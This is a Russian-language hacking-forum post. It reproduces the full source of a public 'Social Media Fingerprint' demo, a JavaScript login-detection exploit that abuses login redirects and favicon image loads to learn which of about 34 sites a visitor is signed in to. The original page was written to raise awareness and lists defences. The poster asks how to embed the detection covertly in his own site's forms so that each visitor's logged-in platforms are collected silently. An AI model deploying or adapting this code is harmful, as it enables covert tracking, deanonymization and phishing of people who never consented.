• XSS.stack #1 – первый литературный журнал от юзеров форума

Social Media Fingerprint как подключить на сайт?

DrSleep

(L2) cache
Пользователь
Регистрация
10.01.2020
Сообщения
396
Реакции
304
Гарант сделки
1
Проект https://github.com/RobinLinus/socialmedia-leak
demo.js
JavaScript:
var leakSocialMediaAccounts = function(callback) {
    var platforms = [{
        domain: "https://squareup.com",
        redirect: "/login?return_to=%2Ffavicon.ico",
        name: "Square"
    }, {
        domain: "https://twitter.com",
        redirect: "/login?redirect_after_login=%2f..%2ffavicon.ico",
        name: "Twitter"
    }, {
        domain: "https://www.facebook.com",
        redirect: "/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico%3F_rdr%3Dp",
        name: "Facebook"
    }, {
        domain: "https://accounts.google.com",
        redirect: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico&uilel=3&hl=en&service=mail",
        name: "Gmail"
    }, {
        domain: "https://accounts.google.com",
        redirect: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube",
        name: "Youtube"
    }, {
        domain: "https://plus.google.com",
        redirect: "/up/accounts/upgrade/?continue=https://plus.google.com/favicon.ico",
        name: "Google Plus"
    }, {
        domain: "https://login.skype.com",
        redirect: "/login?message=signin_continue&redirect_uri=https%3A%2F%2Fsecure.skype.com%2Ffavicon.ico",
        name: "Skype"
    }, {
        domain: "https://www.spotify.com",
        redirect: "/en/login/?forward_url=https%3A%2F%2Fwww.spotify.com%2Ffavicon.ico",
        name: "Spotify"
    }, {
        domain: "https://www.reddit.com",
        redirect: "/login?dest=https%3A%2F%2Fwww.reddit.com%2Ffavicon.ico",
        name: "Reddit"
    }, {
        domain: "https://www.tumblr.com",
        redirect: "/login?redirect_to=%2Ffavicon.ico",
        name: "Tumblr"
    }, {
        domain: "https://www.expedia.de",
        redirect: "/user/login?ckoflag=0&selc=0&uurl=qscr%3Dreds%26rurl%3D%252Ffavicon.ico",
        name: "Expedia"
    }, {
        domain: "https://www.dropbox.com",
        redirect: "/login?cont=https%3A%2F%2Fwww.dropbox.com%2Fstatic%2Fimages%2Fabout%2Fdropbox_logo_glyph_2015.svg",
        name: "Dropbox"
    }, {
        domain: "https://www.amazon.com",
        redirect: "/ap/signin/178-4417027-1316064?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=10000000&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico",
        name: "Amazon.com"
    }, {
        domain: "https://www.pinterest.com",
        redirect: "/login/?next=https%3A%2F%2Fwww.pinterest.com%2Ffavicon.ico",
        name: "Pinterest"
    }, {
        domain: "https://de.foursquare.com",
        redirect: "/login?continue=%2Ffavicon.ico",
        name: "Foursquare"
    }, {
        domain: "https://eu.battle.net",
        redirect: "/login/de/index?ref=http://eu.battle.net/favicon.ico",
        name: "Battle.net"
    }, {
        domain: "https://store.steampowered.com",
        redirect: "/login/?redir=favicon.ico",
        name: "Steam"
    }, {
        domain: "https://www.academia.edu",
        redirect: "/login?cp=/favicon.ico&cs=www",
        name: "Academia.edu"
    }, {
        domain: "https://accounts.google.com",
        redirect: "/ServiceLogin?service=blogger&hl=de&passive=1209600&continue=https://www.blogger.com/favicon.ico",
        name: "Blogger"
    }, {
        domain: "https://github.com",
        redirect: "/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1",
        name: "Github"
    }, {
        domain: "https://medium.com",
        redirect: "/m/signin?redirect=https%3A%2F%2Fmedium.com%2Ffavicon.ico&loginType=default",
        name: "Medium"
    }, {
        domain: "https://news.ycombinator.com",
        redirect: "/login?goto=y18.gif%23",
        name: "Hackernews"
    }, {
        domain: "https://carbonmade.com",
        redirect: "/signin?returnTo=favicon.ico",
        name: "Carbonmade"
    }, {
        domain: "https://courses.edx.org",
        redirect: "/login?next=/favicon.ico",
        name: "EdX"
    }, {
        domain: "https://slack.com",
        redirect: "/checkcookie?redir=https%3A%2F%2Fslack.com%2Ffavicon.ico%23",
        name: "Slack"
    }, {
        domain: "https://www.khanacademy.org",
        redirect: "/login?continue=https%3A//www.khanacademy.org/favicon.ico",
        name: "Khan Academy"
    }, {
        domain: "https://www.paypal.com",
        redirect: "/signin?returnUri=https://t.paypal.com/ts?v=1.0.0",
        name: "Paypal"
    }, {
        domain: "https://500px.com",
        redirect: "/login?r=%2Ffavicon.ico",
        name: "500px"
    }, {
        domain: "https://www.airbnb.com",
        redirect: "/login?redirect_params[action]=favicon.ico&redirect_params[controller]=home",
        name: "Airbnb"
    }, {
        domain: "https://disqus.com",
        redirect: "/profile/login/?next=https%3A%2F%2Fdisqus.com%2Ffavicon.ico",
        name: "Disqus"
    }, {
        domain: "https://secure.meetup.com",
        redirect: "/login/?returnUri=https%3A%2F%2Fwww.meetup.com%2Fimg%2Fajax_loader_trans.gif",
        name: "Meetup"
    }, {
        domain: "https://bitbucket.org",
        redirect: "/account/signin/?next=/favicon.ico",
        name: "BitBucket"
    }, {
        domain: "https://secure.indeed.com",
        redirect: "/account/login?continue=%2ffavicon.ico",
        name: "Indeed"
    }, {
        domain: "https://vk.com",
        redirect: "/login?u=2&to=ZmF2aWNvbi5pY28-",
        name: "VK"
    }];

    platforms.forEach(function(network) {
        var img = document.createElement('img');
        img.referrerPolicy = 'no-referrer';
        img.src = network.domain + network.redirect;
        img.onload = function() {
            callback(network, true);
        };
        img.onerror = function() {
            callback(network, false);
        };
    });
};



// Do not work (anymore)
// {
//     url: "https://login.live.com/login.srf?wa=wsignin1.0&wreply=https%3A%2F%2Fprofile.microsoft.com%2FregsysProfilecenter%2FImages%2FLogin.jpg",
//     name: "Microsoft"
// }, {
//     url: "https://slack.com/signin?redir=%2Ffavicon.ico",
//     name: "Slack"
// }, {
//     url: "https://tablet.www.linkedin.com/splash?redirect_url=https%3A%2F%2Fwww.linkedin.com%2Ffavicon.ico%3Fgid%3D54384%26trk%3Dfulpro_grplogo",
//     name: "Linkedin"
// }, {
//      domain: "https://subscribe.washingtonpost.com/loginregistration/index.html#/register/group/default?action=login&destination=https:%2F%2Fwashingtonpost.com%2Ffavicon.ico",
//      redirect: "/login/?previous=/favicon.ico",
//      name: "Washington Post"
// }, {
//      domain: "https://www.instagram.com",
//      redirect: "/accounts/login/?next=%2Ffavicon.ico",
//      name: "Instagram"
//  },{
//     domain: "https://www.spiegel.de",
//     redirect: "/meinspiegel/login.html?backUrl=%2Ffavicon.ico",
//     name: "Spiegel Online"
// },{
//     domain: "http://www.youporn.com",
//     redirect: "/login/?previous=/favicon.ico",
//     name: "YouPorn"
// },{
//     domain: "https://stackoverflow.com",
//     redirect: "/users/login?ssrc=head&returnurl=http%3a%2f%2fstackoverflow.com%2ffavicon.ico",
//     name: "Stack Overflow"
// },{
//     domain: "https://www.netflix.com",
//     redirect: "/Login?nextpage=%2Ffavicon.ico",
//     name: "Netflix"
// },{
//      domain: "https://www.flickr.com",
//      redirect: "/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com/favicon.ico",
//      name: "Flickr"
//   }
index.html

HTML:
<!doctype html>
<html class="no-js" lang="">

<head>
    <meta charset="utf-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <title>Your Social Media Fingerprint</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Without your consent most major web platforms leak whether you are logged in. This allows any website to detect on which platforms you're signed up. Since there are lots of platforms with specific demographics an attacker could reason about your personality, too.">
    <meta property="image" content="https://robinlinus.github.io/socialmedia-leak/sml-logo-large.png?a=a" />
    <meta property="author" content="Robin Linus" />
    <meta property="og:title" content="Your Social Media Fingerprint" />
    <meta property="og:image" content="https://robinlinus.github.io/socialmedia-leak/sml-logo-large.png?a=a" />
    <meta property="og:image:url" content="https://robinlinus.github.io/socialmedia-leak/sml-logo-large.png?a=a" />
    <meta property="og:site_name" content="Your Social Media Fingerprint" />
    <meta property="og:type" content="article" />
    <meta property="og:author" content="https://facebook.com/RobinLinus" />
    <meta property="fb:pages" content="451189218422617" />
    <meta property="fb:profile_id" content="451189218422617" />
    <meta property="og:url" content="https://robinlinus.github.io/socialmedia-leak/" />
    <meta property="fb:app_id" content="1527795287522439" />
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:title" content="Your Social Media Fingerprint">
    <meta name="twitter:image" content="https://robinlinus.github.io/socialmedia-leak/sml-logo-large.png?a=a" />
    <meta name="twitter:description" content="Without your consent most major web platforms leak whether you are logged in. This allows any website to detect on which platforms you're signed up. Since there are lots of platforms with specific demographics an attacker could reason about your personality, too.">
    <meta name="twitter:creator:id" content="4675481071">
    <meta name="author" content="Robin Linus" />
    <style type="text/css">
    body {
        background-color: rgb(246, 246, 239);
        color: #030303;
        padding-top: 24px;
        margin: 0;
        font-family: 'Roboto', 'Helvetica Neue', Helvetica, sans-serif;
        font-size: 14px;
    }
    
    h1 {
        font-size: 34px;
        font-weight: 400;
        letter-spacing: -.01em;
        line-height: 40px;
    }
    
    h2 {
        font-size: 20px;
        font-weight: 500;
        line-height: 28px;
    }
    
    h3 {
        font-size: 16px;
        font-weight: 400;
        line-height: 24px;
    }
    
    h4 {
        margin-bottom: 0;
        margin-top: 24px;
    }
    
    p {
        -webkit-font-smoothing: antialiased;
        text-rendering: optimizeLegibility;
        font-weight: 400;
        line-height: 20px;
    }
    
    ul {
        line-height: 20px;
    }
    
    .content {
        max-width: 720px;
        margin: 0 auto;
        padding: 8px;
    }
    
    section {
        margin-top: 24px;
    }
    
    a {
        text-decoration: none;
    }
    
    a:hover {
        text-decoration: underline;
    }
    
    .demo {
        min-height: 480px;
    }
    
    .demo h3 {
        margin-top: 24px;
        margin-bottom: 6px;
    }
    
    .demo > span {
        text-align: center;
    }
    
    .network {
        padding: 8px;
        background: white;
        margin: 4px;
        box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 1px 5px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -2px rgba(0, 0, 0, 0.2);
        display: -webkit-inline-box;
        display: -ms-inline-flexbox;
        display: inline-flex;
        -ms-flex-align: center;
        -webkit-align-items: center;
        align-items: center;
        width: 152px;
    }
    
    .network img {
        width: 24px;
        height: 24px;
        margin-right: 8px;
    }
    
    .network {
        color: #030303;
        text-decoration: none !important;
    }
    
    footer {
        background: #424242;
        margin-top: 64px;
        padding: 16px;
        font-size: 16px;
        text-align: center;
        font-family: 'Courier New', Courier, 'Lucida Sans Typewriter', 'Lucida Typewriter', monospace;
        color: white;
        cursor: pointer;
        margin-bottom: 49px;
    }
    
    footer:hover {
        text-decoration: underline;
    }
    
    pre,
    code {
        white-space: pre-wrap;
        white-space: -moz-pre-wrap;
        white-space: -pre-wrap;
        white-space: -o-pre-wrap;
        word-wrap: break-word;
    }
    
    @media only screen and (max-device-width: 480px) {
        .content {
            padding-top: 4px;
        }
        .network {
            width: 128px;
        }
    }
    </style>
</head>

<body>
    <div class="content">
        <h1>Your Social Media Fingerprint</h1>
        <section>
            <p>
                Without your consent most major web platforms leak whether you are logged in. This allows any website to detect on which platforms you're signed up. Since there are lots of platforms with specific demographics an attacker could reason about your personality, too.
            </p>
            <p id="ff" style="display:none;">
                Update: If you see broken images like this: <img src="https://facebook.com/favicon.ico" onload="document.getElementById('ff').remove()" onerror="document.getElementById('ff').style='display:block;'"> instead of a logo, the login detection won't work for this platforms because your browser is blocking requests to their domain. If you're using Firefox <a href="#updates">read the updates.</a>
            </p>
        </section>
        <section class="demo">
            <h2>Demonstration</h2>
            <span>
                <p>
                    <h3>You are logged in to:</h3>
                    <div id="loggedIn">
                        <h2>No platform</h2>
                        <p>(or maybe you've disabled third party cookies, or you are using something like Privacy Badger?)</p>
                        <br><br><br>
                    </div>
                </p>
                <p>
                    <h3>You are not logged in to:</h3>
                    <div id="notLoggedIn"></div>
                </p>
            </span>
        </section>
        <section>
            <h2>Explanation</h2>
            <p>
                For most web platforms there's a way to abuse the login mechanism to detect whether a user is logged in to that service.
                <br> Although this vulnerability is <a href="http://www.tomanthony.co.uk/blog/detect-visitor-social-networks/" target="_blank">well known</a> <a href="http://blog.jeremiahgrossman.com/2008/03/login-detection-whose-problem-is-it.html" target="_blank"> for several years</a> most companies <a href="http://webkay.robinlinus.com/clickjacking/redirect-statements.txt">won't fix it</a>.
            </p>
            <p>
                The exploit is pretty simple and actually easy to fix. Let's look at facebook.com to get an idea of how it works:
                <h4>How does the login redirect mechanism work?</h4>
                <br> At first we need to understand the login redirect mechanism. Say you're logged in and visit
            </p>
            <pre><code>https://www.facebook.com/bookmarks/pages</code></pre>
            <p>
                Now if you open this URL in a private tab where you are not logged in, you will get redirected to the login screen with this URL:
            </p>
            <pre><code>https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Fbookmarks%2Fpages</code></pre> Note the <code>next</code> parameter in the URL: <code>https%3A%2F%2Fwww.facebook.com%2Fbookmarks%2Fpages</code>.
            <p>
                That's the URL we came from and it is used to redirect us back there once we've logged in.
                <br>But if we enter the login URL in a browser tab where we are already logged in, we get redirected without getting prompted to login. Therefore this URL returns:
            </p>
            <ul>
                <li>If logged in:&nbsp;&nbsp;&nbsp;the resource at the URL in the <code>next</code> parameter</li>
                <li>If logged out: the login screen</li>
            </ul>
            <h4>Bypass the Same Origin Policy</h4>
            <p>How does this URL help us? The Same Origin Policy prevents to read the results of this request from any other domain but https://facebook.com...
                <br>Well, the SOP is strict for HTML pages, but it allows to receive images from other origins! So if the resource in the <code>next</code> parameter would be an image we could read it from our website. It can't be any image though. Facebook checks if the URL in the <code>next</code> parameter starts with <code>https://facebook.com</code>. So we need to find an image on facebook.com. Should be easy, right? Actually it isn't, because facebook hosts almost all images on their CDN servers under the domain <code>fbcdn.net</code>. Though there is one image that you can find on almost every webserver: the good old <code>favicon.ico</code>!
                <br>This is how our login URL looks like with the favicon as <code>next</code> parameter:</p>
            <pre><code>https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico</code></pre> It has a very <a target="_blank" href="https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico">interesting property</a>:
            <ul>
                <li>Logged in:&nbsp;&nbsp;&nbsp;returns the favicon image</li>
                <li>Logged out: returns the HTML of the login page</li>
            </ul>
            <p> We can use this URL in an <code>&lt;img&gt;</code> tag in our website:</p>
            <pre><code>&lt;img src="https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico"&gt;</code></pre> This <code>&lt;img&gt;</code> tag's property:
            <ul>
                <li>Logged in:&nbsp;&nbsp;&nbsp;receives the favicon image, will load it successfully, and the <code>onLoad</code> callback will be fired.</li>
                <li>Logged out: receives the HTML of the login screen, will fail to load it as an image, and the <code>onError</code> callback will be fired.</li>
            </ul>
            This leads to the final exploit:
            <pre><code>&lt;img onload="alert('logged in to fb')" onerror="alert('not logged in to fb')" src="https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico"&gt;</code></pre>
            <h4>Other Platforms</h4>
            <p>
                This mechanism works for almost all major web platforms, because they all have a redirect parameter in their login endpoint and they need to host their favicon on their domain (<a target="_blank" href="https://en.wikipedia.org/wiki/Favicon#Limitations_and_criticism">bc of browser compatibility, and of the technical debt of the former lack of standards</a>).
            </p>
            <h4 id="updates">Updates</h4>
            <p>
                <ul>
                    <li>2016/10/07: Instagram removed the favicon from their root domain and host their favicon on their CDN now.</li>
                    <li>2016/10/14: <a target="_blank" href="http://meta.stackoverflow.com/questions/336225/so-should-stop-leaking-information-to-other-websites-about-whether-we-are-logged"> Stackoverflow has fixed the issue.</a></li>
                    <li>2016/10/14: It looks like Firefox has fixed the issue at least for the major networks with their <a target="_blank" href="https://developer.mozilla.org/en-US/Firefox/Privacy/Tracking_Protection">default tracking protection blacklist</a> (The blacklist comes from <a target="_blank" href="https://disconnect.me/">https://disconnect.me/</a>).
                        <br>
                        <br>Console screenshot of the errors when visting socialmedia-leak with current Firefox:
                        <a target="_blank" href="firefox.png"><img src="firefox.png" style="width:100%"></a>
                        Though it probably still works for all platforms where you don't see a broken image <img src="a"> instead of a logo. 
                    </li>
                    <li>2016/10/14: Netflix now just redirects to the main browse page regardless of the redirect in the URL.</li>
                    <li>2017/11/29: Flickr <a target="_blank" href="https://github.com/RobinLinus/socialmedia-leak/issues/26">has fixed</a> the issue, too.</li>
                </ul>
            </p>
            </p>
        </section>
        <section>
            <h2>Further Attacks</h2>
            <p>
                This attack could be a step of a worse attack such as <a target="_blank" href="https://0xsobky.github.io/novel-deanonymization-techniques/">deanonymization techniques</a>, <a target="_blank" href="https://en.wikipedia.org/wiki/Clickjacking">Clickjacking</a>, <a target="_blank" href="http://sakurity.com/blog/2015/03/10/Profilejacking.html">Profilejacking</a>, or <a target="_blank" href="https://en.wikipedia.org/wiki/Phishing">Phishing</a> where it is crucial to know if a victim is logged in to a service.
            </p>
        </section>
        <section>
            <h2>Protection</h2>
            <p>First of all: <a href="https://www.google.com/search?q=third+party+cookies&oq=third+party+cookies" target="_blank">disable third party cookies.</a></p>
            <p>You can also install a browser plugin like <a href="https://www.google.com/search?q=privacy+badger" target="_blank">Privacy Badger</a>, or <a href="https://www.google.com/search?q=umatrix" target="_blank">uMatrix</a> to protect yourself from this attack.</p>
            <p>
                For further information see the <a href="https://news.ycombinator.com/item?id=12692190" target="blank" rel="noreferrer">discussion on Hackernews</a> or this <a href="https://www.reddit.com/r/programming/comments/5741xk/your_social_media_fingerprint/" target="blank" rel="noreferrer">discussion on Reddit</a>.
            </p>
        </section>
        <section>
            <h2>Help to solve the issue!</h2>
            <p>
                The companies won't fix the issue, because the risk for their own service is relatively low. Though so many platforms are vulnerable to this, it becomes a real privacy issue. Please help to raise awareness to push the companies to fix the issue.
            </p>
            <ul>
                <li><a target="_blank" href="https://twitter.com/home?status=https%3A//robinlinus.github.io/socialmedia-leak">Share this demo on Twitter</a></li>
                <li><a target="_blank" href="https://www.facebook.com/sharer/sharer.php?u=https%3A//robinlinus.github.io/socialmedia-leak">Share this demo on Facebook</a></li>
                <li><a target="_blank" href="https://plus.google.com/share?url=https%3A//robinlinus.github.io/socialmedia-leak">Share this demo on Google+</a></li>
                <li><a data-action="share/whatsapp/share" href="whatsapp://send?text=https://robinlinus.github.io/socialmedia-leak" data-action="share/whatsapp/share">Share this demo via Whatsapp</a></li>
                <li><a target="_blank" href="https://github.com/RobinLinus/socialmedia-leak">Star this project on Github</a></li>
            </ul>
            <p>If you find more web platforms that are vulnerable to this attack, <a href="https://github.com/RobinLinus/socialmedia-leak/issues">please file an issue to add it.</a> The more complete this list is, the bigger the issue and the higher the pressure for platforms to fix it.
            </p>
        </section>
        <section id="ads">
            <br>
            <br>
            <br>
            <br>
            <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js" onerror="document.querySelector('#ads').remove()"></script>
            <!-- WebSecQuiz -->
            <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-9914824802194583" data-ad-slot="1912010157" data-ad-format="auto"></ins>
            <script>
            (adsbygoogle = window.adsbygoogle || []).push({});
            </script>
            <br>
            <br>
            <br>
            <br>
        </section>


        <section>
            <h3>If you like this page maybe you like my other works, too:</h3>
            <ul>
                <li><a target="_blank" href="https://snapdrop.net"><b>Snapdrop:</b> Instantly share files with devices nearby. No Setup, No Signup.</a></li>
                <li><a target="_blank" href="http://webkay.robinlinus.com"><b>Webkay:</b> A demonstration of all the personal information your browser is leaking.</a></li>
                <li><a target="_blank" href="http://ubercookie.robinlinus.com"><b>Ubercookie:</b> An irrevocable persistent browser cookie.</a></li>
                <li><a target="_blank" href="https://websecurity.firebaseapp.com"><b>Web Security Quiz:</b> Test your knowledge with OWASP exam questions</a></li>
                <li><a target="_blank" href="http://capira.de"><b>Capira:</b> Interactive Learning Videos</a></li>
                <li><a target="_blank" href="https://www.facebook.com/RobinLinus"><b>Facebook:</b> Like my page to get updates about the stuff I create</a></li>
                <li><a target="_blank" href="https://twitter.com/robin_linus"><b>Twitter:</b> Follow me on Twitter to get updates about the stuff I create</a></li>
            </ul>
        </section>
</div>
    <script src="demo.js"></script>
    <script>
    var isFirstLoggedIn = true;

    function displayResult(network, loggedIn) {
        var id = loggedIn ? 'loggedIn' : 'notLoggedIn';
        var favicon = faviconUri(network);
        var url = network.domain + network.redirect;
        var el = '<a target="_blank" href="' + url + '" target="_blank" class=network><img src=' + favicon + '><span>' + network.name + '</span></a>';
        if (loggedIn && isFirstLoggedIn) {
            isFirstLoggedIn = false;
            document.getElementById(id).innerHTML = el;
        } else {
            document.getElementById(id).innerHTML += el;
        }
    }
    leakSocialMediaAccounts(displayResult);

    function faviconUri(network) {
        var favicon = network.domain + '/favicon.ico';
        if (network.name === 'Dropbox') {
            favicon = 'https://www.dropbox.com/static/images/favicon.ico';
        }
        if (network.name === 'Youtube') {
            favicon = 'https://www.youtube.com/favicon.ico';
        }
        if (network.name === 'Gmail') {
            favicon = 'https://mail.google.com/favicon.ico';
        }
        return favicon;
    }
    </script>
    <script>
    (function(i, s, o, g, r, a, m) {
        i['GoogleAnalyticsObject'] = r;
        i[r] = i[r] || function() {
            (i[r].q = i[r].q || []).push(arguments)
        }, i[r].l = 1 * new Date();
        a = s.createElement(o),
            m = s.getElementsByTagName(o)[0];
        a.async = 1;
        a.src = g;
        m.parentNode.insertBefore(a, m)
    })(window, document, 'script', 'https://www.google-analytics.com/analytics.js', 'ga');

    ga('create', 'UA-85165266-1', 'auto');
    ga('send', 'pageview');
    </script>
    <a href="https://robinlinus.github.io" target="_blank" id="about">
        <footer>
            Built with ♥ by Robin Linus
        </footer>
    </a>
    <iframe style="position:fixed;bottom:0;" src="https://robinlinus.github.io/share-the-love/#msg=Your Social Media Fingerprint&url=https://robinlinus.github.io/socialmedia-leak&paypal=robin@capira.de&twitter=robin_linus&bitcoin=176s9TkKmAFdL5gP36u9VZym9zPVVEcFo9" height="50" width="100%" frameborder="0"></iframe>
</body>

</html>

Как подключить на свой сайт такой детект, чтобы при условии что есть авторизация(допустим гугл) в нужной форме создавался
Код:
<input type="hidden" name="SocialCheck" value="Gmail">
Чтобы в последствии когда будет отправлена форма, отправлялись и линки где человек авторизован.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх